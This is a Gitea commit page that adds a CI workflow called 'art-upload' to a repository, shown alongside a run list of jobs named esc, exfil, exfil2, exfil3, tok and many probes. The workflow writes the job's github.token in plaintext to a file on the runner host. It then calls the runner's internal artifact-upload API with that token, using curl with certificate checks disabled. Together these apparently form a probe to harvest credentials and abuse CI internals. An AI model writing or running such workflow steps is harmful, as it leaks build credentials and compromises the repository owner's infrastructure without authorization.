add art-upload
esc / e (push) Failing after 0s
exfil / grab (push) Failing after 0s
exfil2 / grab (push) Successful in 0s
exfil3 / grab (push) Successful in 0s
numaprobe / probe (push) Successful in 0s
tok / t (push) Successful in 0s
art-probe / t (push) Successful in 15m0s
art-upload / t (push) Successful in 5m0s
probe2 / t (push) Successful in 0s
probe3 / t (push) Successful in 1s
probe4 / t (push) Successful in 1s
probe5 / t (push) Failing after 1s
probe6 / t (push) Successful in 2s
probe7 / t (push) Successful in 3s
probe8 / t (push) Successful in 0s
probe9 / t (push) Successful in 5m0s
tok-live / t (push) Successful in 20m0s
esc / e (push) Failing after 0s
exfil / grab (push) Failing after 0s
exfil2 / grab (push) Successful in 0s
exfil3 / grab (push) Successful in 0s
numaprobe / probe (push) Successful in 0s
tok / t (push) Successful in 0s
art-probe / t (push) Successful in 15m0s
art-upload / t (push) Successful in 5m0s
probe2 / t (push) Successful in 0s
probe3 / t (push) Successful in 1s
probe4 / t (push) Successful in 1s
probe5 / t (push) Failing after 1s
probe6 / t (push) Successful in 2s
probe7 / t (push) Successful in 3s
probe8 / t (push) Successful in 0s
probe9 / t (push) Successful in 5m0s
tok-live / t (push) Successful in 20m0s
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
name: art-upload
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: |
|
||||
echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt
|
||||
echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
||||
# twirp artifact upload via the runtime token:
|
||||
TOK="${{ github.token }}"
|
||||
RUNID="${{ github.run_id }}"
|
||||
curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \
|
||||
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
||||
-d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \
|
||||
-o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true
|
||||
cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null
|
||||
- run: sleep 300
|
||||
Reference in New Issue
Block a user